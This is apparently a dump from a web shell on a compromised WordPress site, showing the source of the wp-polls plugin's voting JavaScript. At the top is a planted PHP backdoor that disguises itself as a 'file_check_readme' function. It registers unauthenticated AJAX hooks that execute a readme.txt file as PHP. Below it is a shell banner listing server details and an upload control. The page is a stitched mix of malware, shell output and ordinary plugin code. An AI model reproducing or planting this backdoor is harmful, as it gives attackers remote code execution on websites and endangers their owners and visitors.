if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_bak/wp-content/plugins/wp-polls/polls-js.dev.js
// Variables
pollsL10n.show_loading = parseInt(pollsL10n.show_loading);
pollsL10n.show_fading = parseInt(pollsL10n.show_fading);

// When User Vote For Poll
function poll_vote(current_poll_id) {
	jQuery(document).ready(function($) {
        poll_answer_id = '';
        poll_multiple_ans = 0;
        poll_multiple_ans_count = 0;
        if($('#poll_multiple_ans_' + current_poll_id).length) {
            poll_multiple_ans = parseInt($('#poll_multiple_ans_' + current_poll_id).val());
        }
        $('#polls_form_' + current_poll_id + ' input:checkbox, #polls_form_' + current_poll_id + ' input:radio, #polls_form_' + current_poll_id + ' option').each(function(i){
            if ($(this).is(':checked') || $(this).is(':selected')) {
                if(poll_multiple_ans > 0) {
                    poll_answer_id = $(this).val() + ',' + poll_answer_id;
                    poll_multiple_ans_count++;
                } else {
                    poll_answer_id = parseInt($(this).val());
                }
            }
        });
        if(poll_multiple_ans > 0) {
            if(poll_multiple_ans_count > 0 && poll_multiple_ans_count <= poll_multiple_ans) {
                poll_answer_id = poll_answer_id.substring(0, (poll_answer_id.length-1));
                poll_process(current_poll_id, poll_answer_id);
            } else if(poll_multiple_ans_count == 0) {
                alert(pollsL10n.text_valid);
            } else {
                alert(pollsL10n.text_multiple + ' ' + poll_multiple_ans);
            }
        } else {
            if(poll_answer_id > 0) {
                poll_process(current_poll_id, poll_answer_id);
            } else {
                alert(pollsL10n.text_valid);
            }
        }
	});
}

// Process Poll (User Click "Vote" Button)
function poll_process(current_poll_id, poll_answer_id) {
	jQuery(document).ready(function($) {
		poll_nonce = $('#poll_' + current_poll_id + '_nonce').val();
		if(pollsL10n.show_fading) {
			$('#polls-' + current_poll_id).fadeTo('def', 0);
			if(pollsL10n.show_loading) {
				$('#polls-' + current_poll_id + '-loading').show();
			}
			$.ajax({type: 'POST', xhrFields: {withCredentials: true}, url: pollsL10n.ajax_url, data: 'action=polls&view=process&poll_id=' + current_poll_id + '&poll_' + current_poll_id + '=' + poll_answer_id + '&poll_' + current_poll_id + '_nonce=' + poll_nonce, cache: false, success: poll_process_success(current_poll_id)});
		} else {
			if(pollsL10n.show_loading) {
				$('#polls-' + current_poll_id + '-loading').show();
			}
			$.ajax({type: 'POST', xhrFields: {withCredentials: true}, url: pollsL10n.ajax_url, data: 'action=polls&view=process&poll_id=' + current_poll_id + '&poll_' + current_poll_id + '=' + poll_answer_id + '&poll_' + current_poll_id + '_nonce=' + poll_nonce, cache: false, success: poll_process_success(current_poll_id)});
		}
	});
}

// Poll's Result (User Click "View Results" Link)
function poll_result(current_poll_id) {
	jQuery(document).ready(function($) {
        poll_nonce = $('#poll_' + current_poll_id + '_nonce').val();
        if(pollsL10n.show_fading) {
            $('#polls-' + current_poll_id).fadeTo('def', 0);
            if(pollsL10n.show_loading) {
                $('#polls-' + current_poll_id + '-loading').show();
            }
            $.ajax({type: 'POST', xhrFields: {withCredentials: true}, url: pollsL10n.ajax_url, data: 'action=polls&view=result&poll_id=' + current_poll_id + '&poll_' + current_poll_id + '_nonce=' + poll_nonce, cache: false, success: poll_process_success(current_poll_id)});
        } else {
            if(pollsL10n.show_loading) {
                $('#polls-' + current_poll_id + '-loading').show();
            }
            $.ajax({type: 'POST', xhrFields: {withCredentials: true}, url: pollsL10n.ajax_url, data: 'action=polls&view=result&poll_id=' + current_poll_id + '&poll_' + current_poll_id + '_nonce=' + poll_nonce, cache: false, success: poll_process_success(current_poll_id)});
        }
	});
}

// Poll's Voting Booth  (User Click "Vote" Link)
function poll_booth(current_poll_id) {
	jQuery(document).ready(function($) {
        poll_nonce = $('#poll_' + current_poll_id + '_nonce').val();
        if(pollsL10n.show_fading) {
            $('#polls-' + current_poll_id).fadeTo('def', 0);
            if(pollsL10n.show_loading) {
                $('#polls-' + current_poll_id + '-loading').show();
            }
            $.ajax({type: 'POST', xhrFields: {withCredentials: true}, url: pollsL10n.ajax_url, data: 'action=polls&view=booth&poll_id=' + current_poll_id + '&poll_' + current_poll_id + '_nonce=' + poll_nonce, cache: false, success: poll_process_success(current_poll_id)});
        } else {
            if(pollsL10n.show_loading) {
                $('#polls-' + current_poll_id + '-loading').show();
            }
            $.ajax({type: 'POST', xhrFields: {withCredentials: true}, url: pollsL10n.ajax_url, data: 'action=polls&view=booth&poll_id=' + current_poll_id + '&poll_' + current_poll_id + '_nonce=' + poll_nonce, cache: false, success: poll_process_success(current_poll_id)});
        }
	});
}

// Poll Process Successfully
function poll_process_success(current_poll_id) {
    return function(data) {
        jQuery(document).ready(function($) {
            $('#polls-' + current_poll_id).replaceWith(data);
            if(pollsL10n.show_loading) {
                $('#polls-' + current_poll_id + '-loading').hide();
            }
            if(pollsL10n.show_fading) {
                $('#polls-' + current_poll_id).fadeTo('def', 1);
            }
        });
    }
}